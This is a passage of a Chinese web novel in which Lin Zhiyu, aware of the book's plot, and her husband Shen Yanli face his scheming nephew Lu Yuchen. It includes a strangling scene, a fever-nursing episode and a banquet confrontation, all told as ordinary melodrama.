他不以为然,嬉笑着走近,“别这么死脑筋嘛林小姐,我也是沈家的男人啊,如今我坐到这个位置能给你的一定不会少。”
他坐在茶几上,手伸着就要去抚林知妤对脸。
这么多女孩里,能知意解心的唯有她,那执气的面孔让人忍不住想压在身下摧残,高洁的梅枝终是要垂萎的,那自己就做这个枝下客,日夜摧残。
林知妤拧着眉躲开,半点不让他沾染,她竖着眉警告:“陆煜宸,陈静瑜看到你这副模样会是什么想法?”
“厌弃?”她唇角是毫不掩饰的嗤笑,“退婚?那你有几分胜算坐稳这个位置。”
“林小姐,你这人——”陆煜宸最讨厌别人提陈静瑜的名字来压他,他周身阴气肆虐,气压低了又低,“真的很不识趣。”
她暗叫不好,孤身一人并不是她硬气的时候,手撑着沙发站起来就要跑。
乌发被拽着往回拉,林知妤不受控制地往后倒,她手堪扶着沙发倒在上面。
他拽着发丝托着她抬到自己面前,“林知妤,你哪来的硬气和我叫唤?你那点小能力能帮到我什么?”
他咬
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着牙手上的劲加了几分,“了解剧情又怎么样?你可别忘了这是个男频文,我才是这本书的主角。”
头皮被拽的发疼,林知妤挣扎着去推他,毕竟男女力量悬殊,她的挣扎起不到一点效果。
陆煜宸一把将她甩回沙发,林知妤没来得及喘口气,大手掐着细脖就要剥夺她的呼吸。
脸涨的通红,供氧不上她挣扎的力度逐渐减小,濒临死亡边缘,陆煜宸及时松开了手。
看着在面前急喘的可人,他不紧不慢地捡起一缕青丝低吻,“你还不能死,你的用途大着呢。”
——
海风肆虐,浪意涛涛。
沈砚礼如约上了甲板,陆煜宸倚着二楼围栏直视他带着阴沉的目光。
即使坐在轮椅上,他身上自有的矜贵气势半分不减,依旧是那个高高在上的沈砚礼。
陆煜宸顶了顶腮,目带寒意。
断了一条腿都不能让他乖乖屈膝臣服。
“好久不见啊,小叔叔。”他站在高处双手交环着撑在栏杆上向沈砚礼打招呼。
沈砚礼不答反问,“林知妤呢?你把她怎么样了?”
他神色冷峻,没有想和他聊下去的心情。
“别急啊,马上嘛。”陆煜宸耸了耸肩,不理会沈砚礼想要杀了自己的目光,自顾自说道:“我们赌把游戏,怎么样?”
“谁赢了,就可以要对方一样东西。”他缓步走下甲板,像是和他商量又不容许他反驳。
比起沈砚礼的孤身前来,甲板上都是陆煜宸的人,他不答应也得答应。
沈砚礼抿着唇,脸色不悦。
陆煜宸爱使的花样很多,都是挑玩命的来。
见他不语,陆煜宸向上抬了抬手,在他的指挥下,二楼长板上出现了他那心心念念的身影。
她长发凌乱披着贴在脸颊,双眼紧闭已经昏死过去,沈砚礼一时间紧了紧眸底。
“怎么样?现在想玩了吗?”陆煜宸戏谑开口。
沈砚礼声音里染上几分压抑的怒火,“你想怎么样?”
“哎呦呦,小叔叔你这话说的,我能怎么样,我是个好侄子,当然是要我恩爱的叔婶能幸福重聚啊。”他说的无辜,眼底的戏耍却丝毫不遮掩。
沈砚礼紧了紧拳,自己能孤身上甲板就已经做好了不能生还的准备了,他抬了抬眸。
但知知不行。
陆煜宸也顺着他的视线向上望去,他顿了顿突起玩意,随意的向前挥挥手,壮汉将林知妤细弱的身体向上抬了抬,一副要将她往外抛的架势。
沈砚礼瞳孔骤然收缩,脸上瞬间失去血色“你做什么?”
陆煜宸摊了摊手,一脸无辜,“不是做游戏吗?小叔叔刚才不是答应了吗?”
沈砚礼不信他,视线紧盯着林知妤,不再去理会陆煜宸的胡言乱语。
“小叔叔,我们就来赌赌看……”
“你今天——还能不能活,”陆煜宸上一秒还嬉笑着脸,下一秒就面目狰狞着下达了指令,扔下去。”
平静的海面炸出水花,紧接着又是一朵。
激荡的海面归于平静,陆煜宸笑声越发放肆,林知妤果然没让他失望,轻而易举地就将他的心头患彻底解决。
只是可惜了这么合心意的一个美人。
都说爱情是根线,将两颗毫无关联的心脏连在了一起,陆煜宸算是见识到了这句话的真谛。
咸腥的气息钻入耳孔,林知妤放任自己沉沦。
成王败寇,是她高估了自己,翻腾的浪花卷动泪滴将她推近,温暖裹挟全身。
凝固的海水宣告了他们的死亡。
温沉的嗓音在回转,似真实似虚无。
-知知,我不怪你。
12. 第 12 章
温和的气息将她包裹不放,金砂与细石在海底重逢。
林知妤猝然惊醒,心口像是被海水挤压般闷痛难耐。
梦境与现实的瞬间转换,她一时还在恍惚。
这是书中未交代的结局,还是——
她未来的结局?
那道毅然决然往下跃的身影还在脑中回放。
反派的死亡是故事的结局,“她”有心代替沈砚礼去做这个恶人,那结局呢?
成功了吗?
他们谁的死亡,推动了剧情收尾。
林知妤捂着心口缓气,半口矿泉水下去整个人清醒了不少。
警车渐稳,连同她上下悬晃的心一起。
能不能的要做了才知道。
既然反派能换,主角就也能。
-
前期的陆煜宸生疏心急,手段不成熟,这场无妄之灾来的快结束的也快。
12小时的传唤询问,陆煜宸的诬陷达不到实处,证据不足,两人积极配合调查,很快就被释放。
两人的询问调查一同被通知结束,西装长袖挽至小臂,长时间的等待,沈砚礼脸上也丝毫没有出现厌倦的表情。
比起被诬陷商政同污,沈砚礼更对因他无辜受难的林知妤上心,他先一步从讯问室出来,和警员一起站在走廊等待。
他见林知妤出来,兜里的手先一步抽出来将她牵起,“没事吧?害怕吗?”
林知妤点了点头,她不比沈砚礼,身心还只是个没经历过风浪的二十四岁小女孩,脑子高强度的警惕工作让她有点吃不消。
她声音软糯尾音不清,沈砚礼特意低下头去才能将话听清,“有点累……”
这里毕竟不是好说话的地方,林知妤低喃了一句就示意沈砚礼先离开,他点点头明白她的顾虑。
警员例行公务将他们送到门口便先行离开,林知妤一整个软了骨头就将身体的重量都压在了沈砚礼身上。
“你真的要好好补偿我一下了。”
“你都不知道我经历了什么!”
“嫁给你我真的承受了太多太多,我这个二十四岁娇龄少女竟然有被警方传唤的一天。”
“他们简直欺人太甚,你还不反击吗?”
“我真的有点恨铁不成钢的感觉了。”
她嘴里喋喋不休的抱怨,沈砚礼依着她也不反驳,唇角的弧度长久不下。
身旁没见动静,林知妤抬起头瞧他,恰好对上了他上扬的嘴角。
“……”
“你是真好脾气吗?都这样了你还笑的出来?”
林知妤真的觉得他有点魔怔了,她甚至在怀疑他是不是被刺激傻了。
反派心理素质这么低的吗?
沈砚礼揽在她细腰上的手摩挲了两下,嘴角噙着笑意。
卡宴精准无误的停在两人面前,在林知妤异样的目光上,沈砚礼把她推上了车。
坐了十二个小时腰酸的不行,刚才在外面站的那一会儿缓解了下,现在酸意又开始泛起。
她拧着眉揉了揉后腰,沈砚礼看在眼里,他不动声色伸出手去。
林知妤一时诧异,腰部舒适的按摩又让她放下戒心,她低下头去看他。
沈砚礼掌心慢条斯理地在她腰窝上打转,他认真的神情不像是在替她按摩,反而像是在签署什么重大文件。
他掀了掀眼皮,“好点了吗?”
“啊。”林知妤摇了摇头,毫不客气的使唤他,“再按按。”
都因为他被传唤了,多按按咋啦。
这么想着,林知妤手撑着座椅向他的方向挪了几分。
汽车行驶平稳,紧绷的神经彻底放松,林知妤歪靠着座椅睡的沉沉,腰身贴着长臂,沾染着她身上的味道。
-
林知妤这一觉睡了很久,她模模糊糊醒来时旁边的暮墙里还有微光在照明。
她头涨的发昏,艰难的掀开被子往楼下走。
沈砚礼听见外面细微的动静,他抬眸看去,踉踉跄跄的身影在眼前移动。
刚走到门口,手上使不出劲没拧开把手,头顶上就传来温柔低沉的声音:“怎么了?”
温热的声线转入耳孔,林知妤猛地回头,一下用力过度就往后倒,沈砚礼眼疾手快扶住了她,手上触及的温度热的不正常。
他似有所察觉,单手扶住她的肩膀,手背在她额头上探了探。
果然,发烧了。
看清来人,林知妤将身上的重量心安理得地都压给他,嘴里嘟噜着:“想喝水。”
“沈砚礼……”
“要喝水……”
她不太安分,脑袋在他胸口左右晃,闹腾的厉害,沈砚礼有力的手臂绕过她的腿弯将她腾空抱起。
捻上被角将她盖的严严实实,他打开台灯轻声细语:“我去给你倒。”
林知妤唰的一下就将被子一把掀开,她同手同脚地爬出来,嘴里念叨着:“我也要去,我们一起去。”
“不行。”那道声线依旧平稳,却带上了缕缕笑意,他半坐在床边,制止住林知妤往外爬的行为。
“怎么不行?”林知妤不解地皱了皱眉,不管不顾推他,“就行。”
“就行。”
她声音娇娇糯糯,推在沈砚礼身上的力度软软绵绵的。
对待病鬼,沈砚礼态度简单粗暴,见讲理不听,翻起被她压在腿下的被子就给她卷成一卷,只给她留了个脑袋在外面。
“啊啊啊——”
“动不了了,救命——”
“救命——”
沈砚礼倒了水,拿了医药箱回来,林知妤半耷着眼,嘴里絮絮叨叨:“啊哟啊哟啊哟。”瞧见来人她叫唤的更厉害,“好痛,呜呜呜,疼死我了。”
她眼睛一瞬不瞬地盯着来人,沈砚礼没如她所愿将她松开,他抱着“花卷”坐起来将水杯递到她嘴边。
林知妤傲着脸别过头去,“不要。”随后眼睛转了转,回头用下巴指了指束缚自己的被卷,“松开。”
男人不为所动,林知妤没等来他的反应,她顿了顿,开始啊啊乱叫:“沈砚礼,你松开我。”
沈砚礼有些无奈,平常看着文文静静的小姑娘,怎么生起病来这么闹腾。
她闹的涨红了脸,耳根红红,热汗从额顶流出,她软趴趴的依着床头嘟囔着骂他:“你这是家暴,沈砚礼,家暴——”
小姑娘焉了吧唧的靠着,满脸委屈,沈砚礼心下
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不忍,还是心软,“把水喝了就给你松开。”
林知妤连连点头,鬼灵精地边喝边观察他的反应,若如有丝丝反悔的神情她便立刻停下动作,没瞧出变化,杯水见底,沈砚礼也如约给她解开。
没了束缚,林知妤也闹得精疲力尽了,她平躺在床上突然开始怀疑人生,双手交于腹前,没来由的就冒出一句:“我们会变穷吗?”
沈砚礼冲剂的动作顿了顿,“什么?”
她翻了个身脑袋枕着手臂看他,义正言辞的又重复了一遍。
随后,她又道:“我是不会和你在出租屋里面吃泡面的。”
“你死了这条心吧。”
沈砚礼被她这番话逗笑,他慢条斯理地搅拌杯中的退烧药,耐心回应:“不会,泡面不该我们吃。”
这下她有精神了,撑着手爬起来坐到床边,眨巴着大眼等他继续说下去。
沈砚礼将手里的冲剂递给她,“先喝了。”
林知妤瘪嘴不满,沈砚礼态度强硬。
没办法,她败下阵,就着他的手小口小口的喝。
“好了吧。”刚才已经喝完一杯,再来一杯她有点消受不起,剩下三分之一她怎么也喝不下去了。
林知妤退拒他的手臂,沈砚礼也没再强迫,他将水杯放至床头柜,嘴里回答她此刻最关心的问题,“不是让我反击?”
“明天就带你去看他吃泡面。”
半杯药剂下去,林知妤清醒了不少,她眼睛亮了又亮,“真的嘛?”
“他真的会吃吗?”
“不是,你真的敢啊?”
林知妤对他这个大胆的想法既激动又表示怀疑,“你失败了怎么办,他叫我吃泡面呢?
“大庭广众下吗?那太尴尬了吧。”
想想他们两夫妻蹲在宴会厅里当着所有人的面吃泡面,那画面实在诡异,林知妤抽了抽嘴,实在不敢想。
毕竟他们是主角,主角怎么会输给配角呢,一般有这种想法的反派最后都会祸及自身。
沈砚礼说的一本正经,脸上没有在开玩笑的意思,他反倒顺着林知妤的思路幻想了下她所说的场景。
“……”
她的想法还是这么离奇。
沈砚礼眉眼间笑意不减,他抽过纸巾将她额间的细汗擦净,他语调中带着温柔:“睡觉吧。”
“不会失败的。”他顿了顿,“我保证。”
林知妤半信半疑,顺着他的动作躺回床上,沈砚礼以为她终于肯消停会了。
他刚放好医药箱回来,没安分一会又支起身体的小姑娘直勾勾地盯着他,“沈砚礼,你到底信不信我跟你说的故事?”
“你有时候真的有点初生牛犊不怕虎了。”她像个小老头一样絮絮叨叨个不停,“在小说世界里,反派不管做什么都不会危及主角的,你知不知道?”
沈砚礼眼底翻起阴戾,他给她拉了拉被角,“知知,故事我信,但命运这种东西,我一向掌握在自己手里。”
林知妤一时愣了愣,“你不怕吗?”
“不怕。”他揉了揉她头顶的发丝,“知知,不管今后结果如何。”
“你都不会有事的,我会送你走,让你离开这场纠纷。”
13. 第 13 章
她后半夜又烧了一次,沈砚礼守在床头拿着温毛巾为她轻轻擦拭,她热的难受睡得格外不安稳,临到清晨情况才渐渐好转。
沈砚礼几乎一夜没睡,到了初晨确认她不再低烧后方才放心离开。
晴日向阳,空中无云,枝头新芽并冒,油绿生机穿过藤条蔓延恒长,新生涌现,新芽和新叶交相辉映。
直至黄昏,林知妤才悠悠转醒,室内空无一人,在枕下摸索了会找出手机,看向屏幕上大而显眼的时间。
下栏的信息提醒上没有她想看到的信息。
她半阖着眼,啪的一下,手臂砸在床上,有些有气无力,“不是说好要去看吃泡面吗?人呢?”
林知妤右脸紧贴着床,片刻后,她不死心地点开了他的微信头像。
林知妤:【人】
林知妤:【呢】
林知妤:【雪球踩蛇.jpg】
-
沈氏集团训练有度,这突如其来的查封并没有引起内部恐慌,工作依然有条有序的进行着。
会议室里,沈砚礼坐在主位慢条斯理地听着企业汇报,偌大的会厅中有条不紊的讨论声此起彼伏。
手机震动在桌面晃出细弱声响,在这严肃的场合中,这点动静很快吸起众人的注意。
在正式会议中是绝对不允许出现与汇报无关的声音,动静发出的一刹那,空气瞬间凝固,人们左右环顾纷纷开始找起声源。
“谁这么不要命了?小沈总还在呢,赶快关了。”
“小项,是你吗?”
“阿晨呢?也不是?”
“快快快,找一下,赶紧关了,这像话吗?”
会议室里除了高层就是助理,人们原先的注意力都在助理身上寻找,奈何没有结果,一阵一阵的嗡嗡声,最后将目光投到了镇定自若拿起手机的沈砚礼身上。
沈砚礼平常最喜静,特别是在这肃穆的会议中更是不容许有任何杂音声响的出现。
之前李总的助理就因为在会议时回了个信息,那场会议还没结束,解雇通知就已经转交到他手上了。
至那之后,再没有人敢在有小沈总在的会议中随意使用手机。
这段骇人奇闻至今还在集团流传。
人人闻而惊悸。
此时的沈砚礼却端坐于办公椅,手里随意摆弄着手机,脸色平静丝毫没有被打搅的不耐。
单调无趣的手机默认屏保上是林知妤发来的信息弹送提醒。
那头发信息的人得不到回应,似乎开始急躁,一条接着一条的表情包接连发送,他刚打开微信还来不及看全,就被表情包顶了上去。
嗡嗡声孜孜不倦,响遍整个会议室。
众人面面相觑。
被来信打断会议这还是第一次,他们不解,但也不敢言。
毕竟现在拿着手机的是高坐在上的小沈总,谁也没这个胆。
沈砚礼旁若无人地一点点滑动的屏幕,却不曾想,林知妤那快速刷屏的程度像是要等到他回复了才会彻底停止。
在眼花缭乱地表情包中,沈砚礼静默了片刻,想了想在数字界面缓缓打出——
【1】
得到回复后,那头终于消停,最后一个文字表情包收尾——
【哥好冷,哥身边没有你.jpg】
沈砚礼欲往上翻的指端停在远处。
【不舒服吗身体?还在烧?】
聊天界面一时间在此停顿,没见她回应,沈砚礼思考了多种可能正准备起身,手机嗡嗡声再次响起。
林知妤:【……】
林知妤:【表情包!表情包你懂不懂?】
他手腕放在桌面,盯着手机的表情越发凝重,众人看在眼里。
这是怎么了信息这么多?公司难道是又遇到什么麻烦了?
要破产了?不会吧?
沈砚礼抬眸在室内扫了半圈,随后他将文件夹合上,声调依旧平稳,看不出异常,“今天先这样。”
此话一出,众人眼中闪出的光芒简直要把会议室淹没。
一场汇报下来按照小沈总的苛刻程度,以他们现小组的方案来说,要是修改的话一个星期都别想休息了,这下好了白得一日清闲。
众人皆喜。
运营部:“哎呀,真是太可惜了,我们报告都没来得及给小沈总过目呢。”
销售部:“是啊是啊,准备了好久呢,哎呀太可惜了,真是太可惜了。”
“真是这样吗?那你们留下来继续报告。”
“对啊,你要这么说我就有兴趣了。”
“兄弟,说真的,我发现你这人特较真。”
“你看,真要你留下来你又不高兴了。”
这场会议无缘无故的结束倒比往常时的更有活气。
手机中频繁的信息也成了未解之谜,集团关于小沈总的异闻又添其一。
-
信息发完后她等了半响也没见他回复,撇了撇嘴心中不满,“什么啊!骗我的吗?病患都骗,还讲不讲理了!”
昨夜的床单染上病气已经拿新的重新换上,林知妤嫌身上黏的难受将自己全身清洗了一遍,才神清气爽地趴回床上。
信息栏上依旧没有男人的回信,林知妤啧了一声,跪坐在床上指着手机就骂,“什么啊?都多久了?还不回信息?你很忙吗沈砚礼?有多少小姑娘微信要回?”
沈砚礼刚推开门,入目就是少女跪坐在床,束光下雪白蚕丝睡裙着身,丝绸亮面衬的她面如润滑珍珠,细腻动人。
她说的起劲推门的声响使她骤然回头。
“!!!”
眸底惊诧瞬间突起,她一时间顿在原处。
“你你你你……你怎么回来了?”
沈砚礼将手中的外套挂在椅背,他慢条斯理地脱下腕表,漫不经心回答:“外面小姑娘微信回完了,回来回你的。”
“!”林知妤瞪大了双眼。
都听见了?
她不自然的咽了咽口水,摆了摆手假装没听懂,“什么乱七八糟的东西?不懂不懂。”
林知妤受惊的神情还在眼前,他轻笑间走进厕所。
出来时,正拿着手帕净手,他走至床头,林知妤一脸警惕,她挥舞着双手以一种打太极的姿势挡在他面前,“做什么?”
“家暴?”
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沈砚礼失笑,“我看看,还烧吗?”
林知妤:……
掌心触及额间,那股不自然的热度已经褪去,沈砚礼再三确认没事后手心才放心离开。
林知妤盘腿坐着,手撑在大腿两侧,温顺地任由他贴着额头查看,大有一种心虚后无条件服从的乖巧。
他问:“吃饭了吗?”
林知妤摇了摇头,沈砚礼不说还好,他这么一提,肚子就不合时宜的开始咕咕叫。
“一整天没吃?”他眉心紧了紧。
林知妤眨巴眨巴眼,朝他讨好的点了点头。
“嘿嘿。”
沈砚礼无奈地叹了口气,“还有不舒服的吗?想吃什么?让他们做。”
小姑娘精力不抵自己,回复的时间自然要更长些,想起她烧到半夜还在无意识地哼哼,沈砚礼心软了又软。
他伸出手将林知妤拉起来,刚洗过的手心中还带着温水的热气,温暖的触感让她忍不住想要更加贴近。
时间刚过六点,才刚刚到饭点。
沈砚礼牵着她下楼。
小夫人饮食不规律一般现吃现做,沈砚礼一回来就不同了,若是没有吩咐,就说明他会留在家中用饭,厨房自他回来时就已有条有序地开始准备餐食。
林知妤肚子空了一天,闻到饭香便再也忍不住,想起他那没给过肯定的承诺,她临吃撑前抬头问他,“泡面还看吗?”
冷白灯光下沈砚礼骨相周正,他将袖口往上挽了挽露出小臂,正不疾不徐地剥着葡萄皮。
手边的水晶盏里搭起紫黑色果塔,层层叠叠,盏上雕花精致绵延,折出果色光艳。
他动作慢条斯理,修长匀称的骨节根根分明,林知妤不经意间瞥了一眼就再也挪不开视线。
随着最后一颗果肉搭上封顶,他抽出湿巾擦手,他迎上林知妤的目光,话音里带着温柔,“当然。”
深邃的目光撞进她清亮的双眸中,林知妤不自在地眨了眨眼,率先移开视线,胡乱地点头回应,“噢,那我不吃了。”
吃饱了衣裙就穿不起来了,她可不想。
他将水晶盏往前推了推,“水果呢?吃点。”
视线顺着水晶盏看过去,没在水嫩的果肉上停留,反而落在了轻扶着盏壁的指节上。
他指尖无意间叩动盏壁的动作,就能让她晃了神。
“知知?”见她不动,沈砚礼极轻的又唤了声。
她眼睫扇了扇别过头,掩饰眼底的羞燥。
不行不行,再呆下去就要控制不住了,她可不想明日的新闻播报中出现自己的事迹:昨夜某林姓女子,因贪恋丈夫手指可望不可即而寝食难安,爆体而亡。
那真是要出大事的,不行不行。
当下,她蹭的一下就站了起来,“不吃了,我要上去挑挑衣服。”
她说的义正言辞,看都没看沈砚礼一眼。
少女走的飞快,像是在躲着什么,只余沈砚礼还在原处,他微微垂眸看向盏中果肉。
半响,他起身将果肉悉数倒进水槽。
男人黑瞳底沉了沉,随即吩咐:“这个——”
“家里不用再买。”
14.第 14 章
在寸土寸金的临江市,商业局势风云变幻,激烈的市场竞争下,天恒山庄依然屹立不倒,它背后的势力到底如何一直是大家饭后的闲口谈资。
山庄规模宏大,不单独租售只能整座包下,因此能在这里举办宴会的人非富即贵。
能受邀参加的也非同常人,不是有过硬的关系,就是有更高的金钱或权势。
沈砚礼作为最近新闻上的热点名人,一入会场就吸引了所有人的目光,林知妤站在沈砚礼身旁,自然少不了被打量。
他身姿□□沉稳,深色西装烫熨得一丝不苟将他肩部的线条完美勾勒,神色倨傲淡漠,自上而下地俯瞰,是来自上位者难言的疏离感气场。
“沈家这位怎么来了?”
“你小点声,这位什么行事作风你不知道吗?一次扳不倒的话,后面可有的受了。你别听风就是雨的,乱站队。”
“不是,我只是瞧那边那位都来了,怎么想他们两个都不会同台啊。”
“那怎么了,那位算什么,沈家现在真正掌权的是这位,老宅那个已经老了,撑不了多久,眼光放长远些。”
他们一进场就掀起了一阵沸沸扬扬的探讨,昨日的新闻明眼人都能看的出来沈家这是又要不安宁了。
二十年前的内斗还历历在目,当年的事件可以说是搅动了半个商业圈,规模之庞大。
陆煜宸已经来了有一会了,他刚一出现就被众人围住奉承,很快聚焦在自己身上的目光逐渐减少,他不解中顺着吵闹声向中央看去。
沈砚礼立于人群中,受众人仰望。
他只需要站在那自有人会向他靠近,全身上下矜贵内敛的气势,都诠释着他就是领带者的存在。
陆煜宸紧了紧酒杯,沈砚礼一出现他就成了陪衬的存在,毫不起眼,比起当今沈家的掌权人沈砚礼,他这个表侄子的存在算不得什么。
一群蠢货,一个假太子也上赶着去伺候,他但想看看,到时候这群人知道他真面目时的样子是什么样子。
是厌恶?还是可怜?
林知妤挽着沈砚礼的胳膊,周围都围满了人。
“小沈总,您来了,可是让我好等啊。”李总首当其冲,举起酒杯邀请。
“李总,这是我太太——”
“林知妤”
他充满低醇磁性的声音在头顶传来,装着香槟的酒杯往她的方向伸了伸。
林知妤诧异地抬起头。
少女一身玫瑰金色礼裙着身,闪着细光的碎钻裙摆层层叠叠如那涟漪湖光细腻动人。
李总是个聪明人,香槟杯方向重新调整对准了林知妤,“原来是沈夫人,幸会幸会,还是一样貌美啊。”
沈砚礼手腕转了转,在她手背上轻轻拍过,温柔的眸子里示意她接受示好。
林知妤明白他的用意,心底暖流淌过,她举起酒杯去回李总的敬意。
还未等碰杯,沈砚礼抽出手将她按下,当啷一下,清脆的玻璃碰撞声,是他的酒杯与李总相碰。
“叫林小姐就好,这酒我代她敬您。”他说。
不止林知妤,李总同样也停顿了片刻,商业人的职场习惯让他很快回过神,“啊哈哈,好的好的,林小姐。”
他明显还有话要说,到嘴的话被突如其来的青年懒散声线打断,“小叔叔,没想到您会来,晚辈来迟,小叔叔不会责怪吧,”
林知妤早就注意到他了,独身一人站在人群之外阴冷的看着他们,眼中满是不屑。
他们相差岁数不大,林知妤和他同龄,站在一起,沈砚礼身上沉淀过的气场压陆煜宸一头。
他漫不经心地举起酒杯虚虚朝她敬了一杯,“小婶婶也在啊!好久不见了呢。”
林知妤无语抿嘴:别,我可不想见,多见一面多送我进去一次吗?大可不必。
沈砚礼对他的主动视而不见,他偏头旁若无人地向她询问:“累吗?”
只站了这么一会腿倒是不累,这么多人围观把她当动物园的猴子一样观赏她心倒是累了。
林知妤点点头,贴近他的手臂轻声道了句:“累。”
剑拔弩张的气氛使得越来越多的人向他们聚拢,当着这么多人的面林知妤明显不是很放的开。
山庄中有贵宾独享的单人包间,沈砚礼不慌不忙地牵起林知妤的手。
他极淡地说了句,“我夫人累了。”
不疾不徐地嗓音传遍了在场所有人的耳中,语调中商量的意思丝毫没有,尽是不容拒绝地告知。
李总溜须拍马,连连道好,“夫人身体最重要,您先休息,大家都别围观了,都散了都散了。”
沈砚礼直到现在都没正眼瞧过陆煜宸,对待他的态度他们都看在眼里,对他的热情自然不似方才,视他无人般随着李总恭维。
“这样真的没事吗?”她悄咪咪地晃了晃沈砚礼的手心。
穿过人群,通往贵宾室的电梯在宴会厅后,她动作幅度不大,却忘记了此时他们是背对着所有人。
这点小动作被尽收眼底。
沈砚礼摩挲了两下她的指腹,耐心回应:“知知,要想看见你想看见的,猛料就得多下点,让他恨的咬咬牙才会失去理智,步入陷阱。”
“他真的会来吗?隐忍这么久最应该谨慎行事才是呀。”林知妤不懂。
男频文大男主大多都是前期隐忍克制,后期大开杀戒。
她对沈砚礼的话将信将疑,她不认为他会因一时之气当面和沈砚礼撕破脸。
“他当然不会直接挑事,虚情假意才是他惯有的作风。”
他在众目睽睽之下牵着林知妤,缓步中低头轻笑。
“这林家真是送了个好女儿过去,夫妻关系这么好,恐怕是难看到林家破产的时候咯。”
“你说说她是给沈砚礼灌了什么迷魂汤?这么百依百顺的,拿捏住这位,沈家不都是他们林家说得算的啦?”
“哎呦喂,话可别说这么早,林家是哪位的还说不定呢。”
“就是,别看陆煜宸只是个表侄子,当年的内斗他们家可是……”
他话欲说出口,手臂被人用手肘猛地一戳,后半句被拦截了下来。
“你少
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说点,人还没走呢。”
来人用眼神示意了下还站在原处的陆煜宸,他摇晃着杯中的香槟,神色晦暗不明,不知道在想什么。
宴会中最不缺的就是谈资,这场对于沈家争权的八卦戛然而止。
-
天恒山庄二楼的贵宾室是按照财力,权力,家族势力三者综合排序,最位高权重的那位就享有最顶级规格的包间。
不管宴会由谁操办,这贵宾室的主人都是不变的,这样的休息厅全山庄只开放了三间,沈砚礼就是其中一间。
进贵宾室的瞬间,林知妤跟没了骨头似的软成一摊水歪歪扭扭地倒在沙发上。
她扭过头看向沈砚礼:“他会来吗?”
少女侧脸紧贴着交叠在沙发的双手上,回头间带动发丝散落脖间露出平薄的背脊,蝴蝶骨弧度流畅姣好,乌发下的身段纤细起伏。
大胆放肆的动作丝毫不知收敛。
沈砚礼反手关门的动作顿了顿,他扯送闷紧的领带,随后将身上的外套脱下来搭在她半腰,“知知,坐起来。”
他语调里带着认真,不容林知妤拒绝。
“怎么了?”林知妤一脸不解,以为是门外来了动静,她撑着手坐起来目光投到沈砚礼身后。
倾耳听了半响什么也没听见,脸前投下阴影,身前的光影暗了下来,注意到沈砚礼的靠近。
她收回视线,他站在她面前稍稍弯腰,拾起滑落的外套重新给她盖上。
深色外套遮住艳丽的玫瑰金裙摆,将她下半身盖的严严实实。
林知妤唇瓣微张,似有话说。
沈砚礼在她身边随意坐下,言简意赅回答她脸上的疑问:“一会人多。”
他似乎对后面会发生的事胸有成竹。
林知妤想了想没拒绝他的好意。
以防万一嘛。
她两眼放光,对他的行事有所好奇:“你一会要做什么呀?”
“他来找你什么茬?这又不是他开的宴会?他还能把你赶出去不成?”
林知妤贴着他极近,披散的发丝随着动作轻扫在他的手臂。
沈砚礼对她很是无奈。
这个小姑娘,总是不懂得避嫌。
低叹了口气,他将她披下的头发挽至肩后这才不紧不慢地开口:“他赶不出去,自然要动点别的关系。”
贵宾室很大,沙发正对门口,之后是大片活动空间,而后就是被墙体隔开的卧房。
室内用具皆是能说的上名的大牌,装修风格也处处显露奢华。
茶座上有事先放好的精酿酒水和茶具,林知妤懒散地靠在沙发上,沈砚礼坐在一旁慢条斯理地泡煮茶水。
敲门声不合时宜地响起,林知妤顿然起身。
果然来了。
来人没等回应自顾自地便推门进来,身后还跟着三位黑衣人士。
他双手交叠于身前,仪态尊敬,态度却无比强硬:“沈先生,基于对您的多方考察,现如今您的声誉已不符合我们尊贵vip休息室的享用资格。”
“请您移步。”
15.第 15 章
水晶吊灯倾泻出柔和光线与高脚杯交错,华灯璀璨下宾客觥筹交错。
浩浩荡荡的架势引起众人注意,有不少人认出领首的那位是山庄的高级经理。
山庄的老板众人皆未见过,平常代为管理的就是这高级经理,他的意思通常就是老板的意思。
能让这高级经理在宴会进行时毫不避讳的赶人的到底是何方人许。
越来越多的人聚集在沈砚礼的贵宾室前。
“这是怎么了?沈家这位都敢赶?生意不想做了?”
“你懂什么?没准这位的权势比沈家更高,比起攀权附贵他可能更注重名声?”说话的人语气越到后面越小,他自己想想都不太可能。
谁会放着好好的关系就因为一个莫须有的新闻而撕破脸?
更何况这个关系是沈家。
不管权势是否真的高过沈家,只要关系在总有用到的时候吧,敢就这么撕破脸的还是第一个。
身旁人不认可他的想法,“还有比沈家更高的?这么注重名节的没准是望城的那位。”
“望城?”
“望城王家。”
室外的嘈杂纷讨并没有影响室内的岁月静好。
沈砚礼平静地拿着茶壶分茶,林知妤瞥了他一眼,缭绕的雾气描绘着他的面孔,模糊了棱角。
温热的茶汤倾泻而下,他动作慢条斯理并未溅出桌面半点,仿佛外面的喧闹与他无关。
他指背探了探茶杯感受温度,随后修长的指骨平端起茶托放至林知妤跟前。
沈砚礼动作优雅平静,茶面并未掀起小潮倾洒,他从容不迫的模样尽显高贵之态。
林知妤借着低头喝茶的契机偷偷嗤笑。
装模作样。
动静不小身边人听得一清二楚,大掌落在头顶沈砚礼顺势揉了揉。
这旁若无人的模样大大刺激了来人,似乎因为自己被忽视而感到不悦,他皱着眉再次强调:“沈先生,林小姐请你们离开。”
身后的安保跃跃欲试,想必上层人下了死命令,今日不管如何这沈砚礼的面子都要给他下了。
门外围观的大多都是为了看热闹,看沈砚礼吃瘪,高高在上的沈公子被扫地出门这一历史时刻自然少不了他们的见证。
此刻沈砚礼悠哉的模样在他们就像是过街老鼠的垂死挣扎,死好面子。
竞猜声此起彼伏,都在压这场对局的赢家究竟是谁,看现如今的状况压沈砚礼赢的少有人。
林知妤慢悠悠地喝了一口茶水,她轻飘飘地放下,抬头“狗仗人势”地说了一句,“知道我们沈公子是谁吗?你们有几个胆子赶他走,叫你们管事的人来。”
董霁眼中并无畏惧的神情,他不屑地看向坐在沈砚礼身旁的女子,“我就是管事的。”随后他朝后勾了勾手,“沈先生您再不挪步就别怪我们采取强制措施了。”
“你?管事的?开什么玩笑?”她指了指他身后的安保假装思考,“你后面那个可能都比你像点。”
“林小姐,请您放尊重点。”他脸黑了一个度,嗓音更沉了些。
这下刚好中了林知妤的意,她哇的一下就倒在沈砚礼怀里,“呜呜呜呜,老公你看他,他凶我。”
少女眉心低弯,眸中含着硬挤出来的泪水,她矫揉造作地在沈砚礼胸前锤了锤,低头埋进他怀里偷笑。
沈砚礼低头配合她的表演,手臂揽紧她肩膀假意安抚,他嗓音沉沉带着说不尽的柔情,“好不哭了,我帮你教训他。”
林知妤的脸半埋在他胸前,发丝遮住嘴角高扬弧度,她抬眸看了眼董霁委屈巴巴地点点头,“好。”
这昏君宠妃的戏码她演得格外满意,小指兴奋的戳了戳沈砚礼的腰窝表示。
